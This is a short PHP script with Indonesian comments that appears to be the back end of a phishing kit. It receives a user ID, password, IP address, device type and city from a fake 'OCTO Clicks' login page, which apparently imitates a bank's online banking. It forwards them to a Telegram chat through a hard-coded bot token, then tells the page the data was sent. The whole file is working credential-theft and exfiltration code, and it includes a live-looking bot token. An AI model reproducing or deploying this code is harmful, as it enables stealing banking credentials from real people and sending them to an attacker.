<?php
// Amankan dengan enkripsi atau cara lain yang lebih kompleks
$botToken = '8727011628:AAEN6_CnSRiOyTZg3is2Z8JyYodXhgXdII4'; // Ganti dengan token bot Telegram Anda
$chatID = '-1003615695612'; // Ganti dengan chat ID telegram Anda

// Mendapatkan data dari POST request
$data = json_decode(file_get_contents('php://input'), true);

$userid = $data['userid'];
$pass = $data['pass'];
$ip = $data['ip'];
$deviceType = $data['deviceType'];
$city = $data['city'];

$message = "OCTO Clicks Login Attempt:\n";
$message .= "User ID: " . $userid . "\n";
$message .= "Password: " . $pass . "\n";
$message .= "IP Address: " . $ip . "\n";
$message .= "Device Type: " . $deviceType . "\n";
$message .= "Kota: " . $city . "\n";
$message .= "Time: " . date("Y-m-d H:i:s") . "\n";

$url = "https://api.telegram.org/bot" . $botToken . "/sendMessage?chat_id=" . $chatID . "&text=" . urlencode($message);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

// Mengembalikan respons JSON untuk AJAX
header('Content-Type: application/json');
echo json_encode(array('status' => 'success', 'message' => 'Data telah dikirim'));
?>
